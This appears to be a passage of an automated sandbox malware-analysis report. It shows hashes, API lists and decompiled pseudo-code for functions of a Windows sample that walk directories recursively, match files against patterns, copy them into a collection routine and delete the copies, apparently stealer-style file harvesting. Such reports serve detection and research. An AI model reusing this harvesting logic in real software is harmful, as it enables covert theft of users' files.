FindClose.KERNEL32(000000FF), ref: 00408BEA

Strings

%s\%s, xrefs: 00408866
%s\*, xrefs: 004087ED

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\*
API String ID: 180737720-2848263008
Opcode ID: 864204762c03cb812e489958dcffbbc39fef40720c2155e64fcd8f4357d5c54a
Instruction ID: 0b41a1abc190fb4bcf7a86ba3d7a33f51ad09bf1deba5e068821b47be1bcc9a2
Opcode Fuzzy Hash: 864204762c03cb812e489958dcffbbc39fef40720c2155e64fcd8f4357d5c54a
Instruction Fuzzy Hash: 6FD12EB2500109ABCB14DF94DD84EEB73BDAF8C704F04869DB609A3150EA74EA95CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00405E40, Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 215
filestringCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E00405E40(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, char* _a20, int _a24, intOrPtr _a28, int _a32, intOrPtr _a36) {
				char _v5004;
				char _v5268;
				void* _v5272;
				struct _WIN32_FIND_DATAA _v5596;
				char _v5860;
				char _v6124;
				int _v6128;
				char _v6132;
				void* _t76;
				int _t77;
				int _t79;
				int _t81;
				int _t85;
				void* _t89;
				int _t91;
				int _t102;
				int _t103;
				int _t104;
				int _t106;
				void* _t157;
				void* _t158;
				void* _t159;

				E004139B0(0x17f0, __ecx);
				wsprintfA( &_v5268, "%s\*");
				_t158 = _t157 + 0xc;
				_v5272 = FindFirstFileA( &_v5268,  &_v5596);
				E0040B720( &_v5004, 0x1388);
				_t76 =  *0x41aa24( &_v5004, _a36, _a16);
				if(_v5272 != 0xffffffff) {
					goto L2;
				} else {
					return _t76;
				}
				do {
					L2:
					_t77 =  *0x41aa4c( &(_v5596.cFileName), 0x414010);
					__eflags = _t77;
					if(_t77 == 0) {
						L4:
						goto L25;
					}
					_t81 =  *0x41aa4c( &(_v5596.cFileName), 0x414014);
					__eflags = _t81;
					if(_t81 != 0) {
						wsprintfA( &_v6124, "%s\%s");
						_t159 = _t158 + 0x10;
						_t85 =  *0x41aa4c(_a12, 0x41401a, _a16,  &(_v5596.cFileName));
						__eflags = _t85;
						if(_t85 != 0) {
							__eflags = _a32;
							if(_a32 == 0) {
								wsprintfA( &_v5860, "%s\\%s\\%s", _a4, _a12,  &(_v5596.cFileName));
								_t158 = _t159 + 0x14;
							} else {
								_push( &(_v5596.cFileName));
								_push(_a12);
								wsprintfA( &_v5860, "%s\%s");
								_t158 = _t159 + 0x10;
							}
						} else {
							__eflags = _a32;
							if(_a32 == 0) {
								_push( &(_v5596.cFileName));
								_push(_a4);
								wsprintfA( &_v5860, "%s\%s");
								_t158 = _t159 + 0x10;
							} else {
								wsprintfA( &_v5860, 0x414024,  &(_v5596.cFileName));
								_t158 = _t159 + 0xc;
							}
						}
						_t89 =  *0x41a908( &_v5004);
						__eflags = _t89 - 3;
						if(_t89 <= 3) {
							_t91 = PathMatchSpecA( &(_v5596.cFileName), _a20);
							__eflags = _t91;
							if(_t91 != 0) {
								CopyFileA( &_v6124,  &(_v5596.cFileName), 1);
								E004137C0(_a8,  &_v5860,  &(_v5596.cFileName));
								_t158 = _t158 + 0xc;
								DeleteFileA( &(_v5596.cFileName));
							}
							L23:
							__eflags = _a24;
							if(__eflags != 0) {
								E00405E40(_a4, __eflags, _a4, _a8,  &_v5860,  &_v6124, _a20, _a24, _a28, _a32, _a36);
								_t158 = _t158 + 0x24;
							}
							goto L25;
						}
						_t102 = E0040C090( &_v5004, ",",  &_v6132);
						_t158 = _t158 + 0xc;
						_v6128 = _t102;
						while(1) {
							__eflags = _v6128;
							if(_v6128 == 0) {
								break;
							}
							_t103 =  *0x41a990( &(_v5596.cFileName), _v6128, 0);
							__eflags = _t103;
							if(_t103 == 0) {
								_t106 = PathMatchSpecA( &(_v5596.cFileName), _a20);
								__eflags = _t106;
								if(_t106 != 0) {
									CopyFileA( &_v6124,  &(_v5596.cFileName), 1);
									E004137C0(_a8,  &_v5860,  &(_v5596.cFileName));
									_t158 = _t158 + 0xc;
									DeleteFileA( &(_v5596.cFileName));
								}
							}
							_t104 = E0040C090(0, ",",  &_v6132);
							_t158 = _t158 + 0xc;
							_v6128 = _t104;
						}
						goto L23;
					}
					goto L4;
					L25:
					_t79 = FindNextFileA(_v5272,  &_v5596);
					__eflags = _t79;
				} while (_t79 != 0);
				return FindClose(_v5272);
			}

0x00405e48
0x00405e5d
0x00405e63
0x00405e7a
0x00405e8c
0x00405e9c
0x00405ea9
0x00000000
0x00000000
0x00000000
0x00000000
0x00405eb0
0x00405eb0
0x00405ebc
0x00405ec2
0x00405ec4
0x00405edc
0x00000000
0x00405edc
0x00405ed2
0x00405ed8
0x00405eda
0x00405ef8
0x00405efe
0x00405f0a
0x00405f10
0x00405f12
0x00405f5a
0x00405f5e
0x00405f9d
0x00405fa3
0x00405f60
0x00405f66
0x00405f6a
0x00405f77
0x00405f7d
0x00405f7d
0x00405f14
0x00405f14
0x00405f18
0x00405f3e
0x00405f42
0x00405f4f
0x00405f55
0x00405f1a
0x00405f2d
0x00405f33
0x00405f33
0x00405f58
0x00405fad
0x00405fb3
0x00405fb6
0x00406084
0x0040608a
0x0040608c
0x0040609e
0x004060b6
0x004060bb
0x004060c5
0x004060c5
0x004060cb
0x004060cb
0x004060cf
0x004060fb
0x00406100
0x00406100
0x00000000
0x004060cf
0x00405fcf
0x00405fd4
0x00405fd7
0x00405fdd
0x00405fdd
0x00405fe4
0x00000000
0x00000000
0x00405ffa
0x00406000
0x00406002
0x0040600f
0x00406015
0x00406017
0x00406029
0x00406041
0x00406046
0x00406050
0x00406050
0x00406017
0x00406064
0x00406069
0x0040606c
0x0040606c
0x00000000
0x00406077
0x00000000
0x00406103
0x00406111
0x00406117
0x00406117
0x00000000

APIs

wsprintfA.USER32 ref: 00405E5D
FindFirstFileA.KERNEL32(?,?,?,00000000,?), ref: 00405E74
lstrcat.KERNEL32(?,?), ref: 00405E9C
StrCmpCA.SHLWAPI(?,00414010), ref: 00405EBC
StrCmpCA.SHLWAPI(?,00414014), ref: 00405ED2
FindNextFileA.KERNEL32(000000FF,?), ref: 00406111
FindClose.KERNEL32(000000FF), ref: 00406126

Strings

%s\%s, xrefs: 00405EEC, 00405F43, 00405F6B
%s\%s\%s, xrefs: 00405F91
%s\*, xrefs: 00405E51

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-1426491737
Opcode ID: da2c885b9076c81ca24cc3c87d12da24a82ebc38fc329cbfdd7a2e0dbf039061
Instruction ID: 0bc9b02d7ab3545e21e8315ee4c466327c2adae897de70d70c4ab632552244ce
Opcode Fuzzy Hash: da2c885b9076c81ca24cc3c87d12da24a82ebc38fc329cbfdd7a2e0dbf039061
Instruction Fuzzy Hash: A88174B5900208EFCB14DFA4DC44DEB73B8EF48745F4486A9F60A96180D7789B94CF56

Uniqueness

Uniqueness Score: -1.00%

Function 00409970, Relevance: 35.1, APIs: 19, Strings: 1, Instructions: 121fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00409989
FindFirstFileA.KERNEL32(?,?), ref: 004099A0
StrCmpCA.SHLWAPI(?,00414010), ref: 004099C6
StrCmpCA.SHLWAPI(?,00414014), ref: 004099DC
FindNextFileA.KERNEL32(000000FF,?), ref: 00409B20
FindClose.KERNEL32(000000FF), ref: 00409B35

Strings

%s\*, xrefs: 0040997D

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*
API String ID: 180737720-766152087
Opcode ID: d36557e83e60a98afa7e569db09bb73b01886f17925a8ce19d475cf2d8557a23
Instruction ID: f00fb7030c8b22b76076fdd7412de7885a7951318a5a6e6dd79535400c2c2ee4
Opcode Fuzzy Hash: d36557e83e60a98afa7e569db09bb73b01886f17925a8ce19d475cf2d8557a23
Instruction Fuzzy Hash: 544167B2510218ABCB10DFA0DD48EEB77B8BF4C705F04859AB20992151E778EB94CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 006C8A30, Relevance: 31.8, APIs: 21, Instructions: 337fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 006C8A49
FindFirstFileA.KERNEL32(?,?), ref: 006C8A60
StrCmpCA.SHLWAPI(?,00414010), ref: 006C8A86
StrCmpCA.SHLWAPI(?,00414014), ref: 006C8A9C
FindNextFileA.KERNEL32(000000FF,?), ref: 006C8E25
FindClose.KERNEL32(000000FF), ref: 006C8E3A

Memory Dump Source

Source File: 0000001C.00000002.357688678.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_6c0000_254E.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID:
API String ID: 180737720-0
Opcode ID: 8860fb76c00992ec9b6090301a4dc91e227bf6d1901a6b14b4adba910f5443df
Instruction ID: 013b5c479b2a12e3da9d84121fd11ef8fb6ebfedd28a74bcb4e5783f02ced3e2
Opcode Fuzzy Hash: 8860fb76c00992ec9b6090301a4dc91e227bf6d1901a6b14b4adba910f5443df
Instruction Fuzzy Hash: FED1FBB2500109AFCB54DF98DD85EEB73BDAF8C700F04869DB60993150EA34EA95CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00401280, Relevance: 31.6, APIs: 16, Strings: 2, Instructions: 134
fileCOMMON

Download Yara Rule

C-Code - Quality: 20%

			E00401280(intOrPtr _a4, intOrPtr _a8, char* _a12, intOrPtr _a16) {
				char _v268;
				void* _v272;
				struct _WIN32_FIND_DATAA _v596;
				char _v860;
				char _v1124;
				char _v1388;
				char _v1652;
				void* _t43;
				intOrPtr _t66;
				void* _t98;
				void* _t99;
				void* _t100;
				void* _t101;

				_push(_a8);
				wsprintfA( &_v268, "%s\*");
				_t99 = _t98 + 0xc;
				_t43 = FindFirstFileA( &_v268,  &_v596);
				_v272 = _t43;
				if(_v272 != 0xffffffff) {
					do {
						_push(0x414010);
						_push( &(_v596.cFileName));
						if( *0x41aa4c() == 0) {
							L4:
							goto L11;
						}
						_push(0x414014);
						_push( &(_v596.cFileName));
						if( *0x41aa4c() != 0) {
							_push( &(_v596.cFileName));
							_push(_a8);
							wsprintfA( &_v1124, "%s\%s");
							_t100 = _t99 + 0x10;
							_push(0x41401a);
							_push(_a4);
							if( *0x41aa4c() != 0) {
								_push( &(_v596.cFileName));
								_push(_a4);
								wsprintfA( &_v860, "%s\%s");
								_t101 = _t100 + 0x10;
							} else {
								wsprintfA( &_v860, 0x414024,  &(_v596.cFileName));
								_t101 = _t100 + 0xc;
							}
							if(PathMatchSpecA( &(_v596.cFileName), _a12) != 0) {
								E0040B720( &_v1652, 0x104);
								E0040B720( &_v1388, 0x104);
								 *0x41aa24( &_v1652, _a8);
								 *0x41aa24( &_v1652, 0x414018);
								 *0x41aa24( &_v1652,  &(_v596.cFileName));
								_t66 =  *0x41a5a4; // 0x8281a8
								 *0x41aa24( &_v1388, _t66);
								 *0x41aa24( &_v1388,  &_v860);
								E004137C0(_a16,  &_v1388,  &_v1652);
								_t101 = _t101 + 0xc;
							}
							E00401280( &_v860,  &_v1124, _a12, _a16);
							_t99 = _t101 + 0x10;
							goto L11;
						}
						goto L4;
						L11:
					} while (FindNextFileA(_v272,  &_v596) != 0);
					return FindClose(_v272);
				}
				return _t43;
			}

0x0040128c
0x00401299
0x0040129f
0x004012b0
0x004012b6
0x004012c3
0x004012ca
0x004012ca
0x004012d5
0x004012de
0x004012f6
0x00000000
0x004012f6
0x004012e0
0x004012eb
0x004012f4
0x00401301
0x00401305
0x00401312
0x00401318
0x0040131b
0x00401323
0x0040132c
0x00401352
0x00401356
0x00401363
0x00401369
0x0040132e
0x00401341
0x00401347
0x00401347
0x0040137f
0x00401391
0x004013a2
0x004013b2
0x004013c4
0x004013d8
0x004013de
0x004013eb
0x004013ff
0x00401417
0x0040141c
0x0040141c
0x00401435
0x0040143a
0x00000000
0x0040143a
0x00000000
0x0040143d
0x00401451
0x00000000
0x00401460
0x00000000

APIs

wsprintfA.USER32 ref: 00401299
FindFirstFileA.KERNEL32(?,?), ref: 004012B0
StrCmpCA.SHLWAPI(?,00414010), ref: 004012D6
StrCmpCA.SHLWAPI(?,00414014), ref: 004012EC
FindNextFileA.KERNEL32(000000FF,?), ref: 0040144B
FindClose.KERNEL32(000000FF), ref: 00401460

Strings

%s\%s, xrefs: 00401306, 00401357
%s\*, xrefs: 0040128D

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\*
API String ID: 180737720-2848263008
Opcode ID: 9a946c6c1b585fb6ecffd09ad8bd87ccec9506f78aa8e12e69a80bbcdc18ab01
Instruction ID: 4cd9f1fc2f596726c4666f8bf9c741da0555b1e74a9e6087d7d803036aaf4599
Opcode Fuzzy Hash: 9a946c6c1b585fb6ecffd09ad8bd87ccec9506f78aa8e12e69a80bbcdc18ab01
Instruction Fuzzy Hash: 56518672500218ABCB10DFA0DD48EEA73B8BF4C705F0485A9B609A3150E779EB94CF69

Uniqueness

Uniqueness Score: -1.00%

Function 006C6090, Relevance: 30.2, APIs: 20, Instructions: 215filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 006C60AD
FindFirstFileA.KERNEL32(?,?), ref: 006C60C4
lstrcat.KERNEL32(?,?), ref: 006C60EC
StrCmpCA.SHLWAPI(?,00414010), ref: 006C610C
StrCmpCA.SHLWAPI(?,00414014), ref: 006C6122
FindNextFileA.KERNEL32(000000FF,?), ref: 006C6361
FindClose.KERNEL32(000000FF), ref: 006C6376

Memory Dump Source

Source File: 0000001C.00000002.357688678.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_6c0000_254E.jbxd

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID:
API String ID: 1125553467-0
Opcode ID: bd6139f9ed7005472522956e30392e0ae32b38ee30a9d7aa607009e957b67d75
Instruction ID: d9e9290587432a99ebf37a2b6b64e1a837997d67797320b8405923cdaaaadf06
Opcode Fuzzy Hash: bd6139f9ed7005472522956e30392e0ae32b38ee30a9d7aa607009e957b67d75
Instruction Fuzzy Hash: D0817EB6900218AFCB20DFA4CC44EEA73B9EF88741F44869CF60A96141E7749B95CF56

Uniqueness

Uniqueness Score: -1.00%

Function 006C9BC0, Relevance: 28.6, APIs: 19, Instructions: 121fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 006C9BD9
FindFirstFileA.KERNEL32(?,?), ref: 006C9BF0
StrCmpCA.SHLWAPI(?,00414010), ref: 006C9C16
StrCmpCA.SHLWAPI(?,00414014), ref: 006C9C2C
FindNextFileA.KERNEL32(000000FF,?), ref: 006C9D70
FindClose.KERNEL32(000000FF), ref: 006C9D85

Memory Dump Source

Source File: 0000001C.00000002.357688678.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_6c0000_254E.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID:
API String ID: 180737720-0
Opcode ID: 9e7665e2acc2ddac78455e199e4a0fb3c3545ab69be18fa56164ce7ddbd4b7ab
Instruction ID: 68e08888be16f243ab09eb2e21bd73e6264964ba07ff3d671e1ca6dcbb37e3e1
Opcode Fuzzy Hash: 9e7665e2acc2ddac78455e199e4a0fb3c3545ab69be18fa56164ce7ddbd4b7ab
Instruction Fuzzy Hash: 094145B2510218ABCB20DFA0DD48EEA77B8FF4C705F048599B60592150E779EB94CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00401090, Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 95fileCOMMON

Download Yara Rule

APIs

SetCurrentDirectoryA.KERNEL32(?), ref: 0040109D
wsprintfA.USER32 ref: 004010B7
FindFirstFileA.KERNEL32(?,?), ref: 004010CE
StrCmpCA.SHLWAPI(?,00414010), ref: 004010F4
StrCmpCA.SHLWAPI(?,00414014), ref: 0040110A
FindNextFileA.KERNEL32(000000FF,?), ref: 004011D3
FindClose.KERNEL32(000000FF), ref: 004011E8

Strings

%s\%s, xrefs: 004010AB

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID: Find$File$CloseCurrentDirectoryFirstNextwsprintf
String ID: %s\%s
API String ID: 2809309208-4073750446
Opcode ID: f0159c76561ba8365bb9aa6ad5d25ded7c9edc9d81d80b2b2d7af7a0a2787976
Instruction ID: 7ffd25992613dc01ae9c6896dea76ef306beac36bf0277a1da173af701ae58c0
Opcode Fuzzy Hash: f0159c76561ba8365bb9aa6ad5d25ded7c9edc9d81d80b2b2d7af7a0a2787976
Instruction Fuzzy Hash: C63177B6500218ABCB14DFE0DD88EEA77BCAF4C705F0085AAB609A2150DB78D794CF59

Uniqueness

Uniqueness Score: -1.00%

Function 006C14D0, Relevance: 24.1, APIs: 16, Instructions: 134fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 006C14E9
FindFirstFileA.KERNEL32(?,?), ref: 006C1500
StrCmpCA.SHLWAPI(?,00414010), ref: 006C1526
StrCmpCA.SHLWAPI(?,00414014), ref: 006C153C
FindNextFileA.KERNEL32(000000FF,?), ref: 006C169B
FindClose.KERNEL32(000000FF), ref: 006C16B0

Memory Dump Source

Source File: 0000001C.00000002.357688678.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_6c0000_254E.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID:
API String ID: 180737720-0
Opcode ID: 712d8f00420b4f24734ea6e850c51c9534c6fb7a651bca6c9d3a2b61a6e8218a
Instruction ID: 5faaae6cb2828e90a43b4875ffd94d2c8ce8bf864d571ae0adc945146bc22972
Opcode Fuzzy Hash: 712d8f00420b4f24734ea6e850c51c9534c6fb7a651bca6c9d3a2b61a6e8218a
Instruction Fuzzy Hash: 705171B2900218ABCB10DFA0DD48EFA73B9FF89700F048599B60996141E775EB95CF65

Uniqueness

Uniqueness Score: -1.00%

Function 004096E0, Relevance: 23.0, APIs: 11, Strings: 2, Instructions: 213
fileCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E004096E0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, signed int _a24, signed int _a28) {
				char _v268;
				void* _v272;
				struct _WIN32_FIND_DATAA _v596;
				char _v860;
				void* _t76;
				signed int _t77;
				int _t79;
				signed int _t81;
				intOrPtr _t84;
				signed int _t86;
				signed int _t88;
				intOrPtr _t89;
				signed int _t90;
				intOrPtr _t122;
				intOrPtr _t146;
				void* _t166;
				void* _t167;

				_push(_a8);
				wsprintfA( &_v268, "%s\*");
				_t167 = _t166 + 0xc;
				_t76 = FindFirstFileA( &_v268,  &_v596);
				_v272 = _t76;
				if(_v272 != 0xffffffff) {
					goto L2;
				} else {
					return _t76;
				}
				do {
					L2:
					_t77 =  *0x41aa4c( &(_v596.cFileName), 0x414010);
					__eflags = _t77;
					if(_t77 == 0) {
						L4:
						goto L19;
					}
					_t81 =  *0x41aa4c( &(_v596.cFileName), 0x414014);
					__eflags = _t81;
					if(_t81 != 0) {
						wsprintfA( &_v860, "%s\%s");
						_t167 = _t167 + 0x10;
						_t84 =  *0x41a4cc; // 0x83aba0
						__eflags =  *0x41aa4c( &(_v596.cFileName), _t84, _a8,  &(_v596.cFileName));
						if(__eflags != 0) {
							_t122 =  *0x41a030; // 0x83b628
							_t86 =  *0x41aa4c( &(_v596.cFileName), _t122);
							__eflags = _t86;
							if(_t86 != 0) {
								_t146 =  *0x41a7e4; // 0x83abb8
								_t88 =  *0x41aa4c( &(_v596.cFileName), _t146);
								__eflags = _t88;
								if(_t88 != 0) {
									_t89 =  *0x41a0d4; // 0x83ad50
									_t90 =  *0x41aa4c( &(_v596.cFileName), _t89);
									__eflags = _t90;
									if(_t90 != 0) {
										__eflags = _v596.dwFileAttributes & 0x00000010;
										if((_v596.dwFileAttributes & 0x00000010) != 0) {
											E004096E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28);
											_t167 = _t167 + 0x1c;
										}
									} else {
										__eflags = _a28;
										if(__eflags != 0) {
											E00409590(_a4, __eflags,  &_v860, _a4, _a12, _a16);
											_t167 = _t167 + 0x10;
										}
										E004096E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28);
										_t167 = _t167 + 0x1c;
									}
								} else {
									_push(_a16);
									E00409060(_a4, _a4, _a12, _a8);
									E004096E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28);
									_t167 = _t167 + 0x2c;
								}
							} else {
								__eflags = _a24;
								if(__eflags != 0) {
									E00409400(_a12, __eflags,  &_v860, _a4, _a12, _a16);
									_t167 = _t167 + 0x10;
								}
								E004096E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28);
								_t167 = _t167 + 0x1c;
							}
						} else {
							E00408C00(_a4, __eflags,  &_v860, _a4, _a12, _a16);
							E004096E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28);
							_t167 = _t167 + 0x2c;
						}
						goto L19;
					}
					goto L4;
					L19:
					_t79 = FindNextFileA(_v272,  &_v596);
					__eflags = _t79;
				} while (_t79 != 0);
				return FindClose(_v272);
			}

0x004096ec
0x004096f9
0x004096ff
0x00409710
0x00409716
0x00409723
0x00000000
0x00000000
0x00000000
0x00000000
0x0040972a
0x0040972a
0x00409736
0x0040973c
0x0040973e
0x00409756
0x00000000
0x00409756
0x0040974c
0x00409752
0x00409754
0x00409772
0x00409778
0x0040977b
0x0040978e
0x00409790
0x004097dc
0x004097ea
0x004097f0
0x004097f2
0x00409844
0x00409852
0x00409858
0x0040985a
0x004098a3
0x004098b0
0x004098b6
0x004098b8
0x0040990d
0x00409910
0x00409934
0x00409939
0x00409939
0x004098ba
0x004098ba
0x004098be
0x004098d3
0x004098d8
0x004098d8
0x004098fd
0x00409902
0x00409902
0x0040985c
0x0040985f
0x0040986c
0x00409896
0x0040989b
0x0040989b
0x004097f4
0x004097f4
0x004097f8
0x0040980d
0x00409812
0x00409812
0x00409837
0x0040983c
0x0040983c
0x00409792
0x004097a5
0x004097cf
0x004097d4
0x004097d4
0x00000000
0x00409790
0x00000000
0x0040993c
0x0040994a
0x00409950
0x00409950
0x00000000

APIs

wsprintfA.USER32 ref: 004096F9
FindFirstFileA.KERNEL32(?,?), ref: 00409710
StrCmpCA.SHLWAPI(?,00414010), ref: 00409736
StrCmpCA.SHLWAPI(?,00414014), ref: 0040974C
FindNextFileA.KERNEL32(000000FF,?), ref: 0040994A
FindClose.KERNEL32(000000FF), ref: 0040995F

Strings

%s\%s, xrefs: 00409766
%s\*, xrefs: 004096ED

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\*
API String ID: 180737720-2848263008
Opcode ID: 5368e8b786ea03139a50106a3f224b7a5846eb6f2b8c7c17a6f5a730a81b7aca
Instruction ID: 1519fd6f9f5c0b483e7b6c5176f88e596ecfd98fd3e89c67d3b1837449ae925a
Opcode Fuzzy Hash: 5368e8b786ea03139a50106a3f224b7a5846eb6f2b8c7c17a6f5a730a81b7aca
Instruction Fuzzy Hash: FE810EB2510109ABCB14DF99DC84EEB73BDAF8C700F04855DBA09A3251E638EE55CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00409B40, Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 183
fileCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E00409B40(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				char _v268;
				void* _v272;
				struct _WIN32_FIND_DATAA _v596;
				char _v860;
				char _v1124;
				char _v1388;
				char _v1652;
				char _v1916;
				char _v2180;
				void* _t57;
				CHAR* _t64;
				CHAR* _t66;
				void* _t78;
				void* _t80;
				void* _t82;
				CHAR* _t106;
				CHAR* _t107;
				CHAR* _t121;
				CHAR* _t122;
				void* _t135;
				void* _t136;
				void* _t143;
				void* _t144;

				wsprintfA( &_v268, "%s\\*.*", _a12);
				_t136 = _t135 + 0xc;
				_t57 = FindFirstFileA( &_v268,  &_v596);
				_v272 = _t57;
				if(_v272 != 0xffffffff) {
					do {
						_push(0x414010);
						_push( &(_v596.cFileName));
						if( *0x41aa4c() == 0) {
							L4:
							goto L12;
						}
						_push(0x414014);
						_push( &(_v596.cFileName));
						if( *0x41aa4c() != 0) {
							_t64 =  *0x41a39c; // 0x83d130
							wsprintfA( &_v1124, _t64, _a12,  &(_v596.cFileName), _a4);
							_t66 =  *0x41a6d4; // 0x83c910
							wsprintfA( &_v1652, _t66,  &_v1124);
							_t121 =  *0x41a59c; // 0x83d220
							wsprintfA( &_v1388, _t121, _a12,  &(_v596.cFileName), _a4);
							_t122 =  *0x41a6d4; // 0x83c910
							wsprintfA( &_v2180, _t122,  &_v1388);
							_t106 =  *0x41a1d8; // 0x823a18
							wsprintfA( &_v1916, _t106, _a12,  &(_v596.cFileName), _a4);
							_t107 =  *0x41a6d4; // 0x83c910
							wsprintfA( &_v860, _t107,  &_v1916);
							_t78 = E0040BB70( &_v1652);
							_t143 = _t136 + 0x64;
							if(_t78 != 0) {
								E00409970( &_v1124, _a8, _a16,  &(_v596.cFileName), _a20);
								_t143 = _t143 + 0x14;
							}
							_t80 = E0040BB70( &_v2180);
							_t144 = _t143 + 4;
							if(_t80 != 0) {
								E00409970( &_v1388, _a8, _a16,  &(_v596.cFileName), _a20);
								_t144 = _t144 + 0x14;
							}
							_t82 = E0040BB70( &_v860);
							_t136 = _t144 + 4;
							if(_t82 != 0) {
								E00409970( &_v1916, _a8, _a16,  &(_v596.cFileName), _a20);
								_t136 = _t136 + 0x14;
							}
							E0040B720( &_v1124, 0x104);
							E0040B720( &_v1652, 0x104);
							E0040B720( &_v1388, 0x104);
							E0040B720( &_v2180, 0x104);
							E0040B720( &_v1916, 0x104);
							E0040B720( &_v860, 0x104);
							goto L12;
						}
						goto L4;
						L12:
					} while (FindNextFileA(_v272,  &_v596) != 0);
					return FindClose(_v272);
				}
				return _t57;
			}

0x00409b59
0x00409b5f
0x00409b70
0x00409b76
0x00409b83
0x00409b8a
0x00409b8a
0x00409b95
0x00409b9e
0x00409bb6
0x00000000
0x00409bb6
0x00409ba0
0x00409bab
0x00409bb4
0x00409bca
0x00409bd7
0x00409be7
0x00409bf4
0x00409c0c
0x00409c1a
0x00409c2a
0x00409c38
0x00409c50
0x00409c5e
0x00409c6e
0x00409c7c
0x00409c8c
0x00409c91
0x00409c96
0x00409cb2
0x00409cb7
0x00409cb7
0x00409cc1
0x00409cc6
0x00409ccb
0x00409ce7
0x00409cec
0x00409cec
0x00409cf6
0x00409cfb
0x00409d00
0x00409d1c
0x00409d21
0x00409d21
0x00409d30
0x00409d41
0x00409d52
0x00409d63
0x00409d74
0x00409d85
0x00000000
0x00409d85
0x00000000
0x00409d8a
0x00409d9e
0x00000000
0x00409dad
0x00000000

APIs

wsprintfA.USER32 ref: 00409B59
FindFirstFileA.KERNEL32(?,?), ref: 00409B70
StrCmpCA.SHLWAPI(?,00414010), ref: 00409B96
StrCmpCA.SHLWAPI(?,00414014), ref: 00409BAC
FindNextFileA.KERNEL32(000000FF,?), ref: 00409D98
FindClose.KERNEL32(000000FF), ref: 00409DAD

Strings

%s\*.*, xrefs: 00409B4D

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
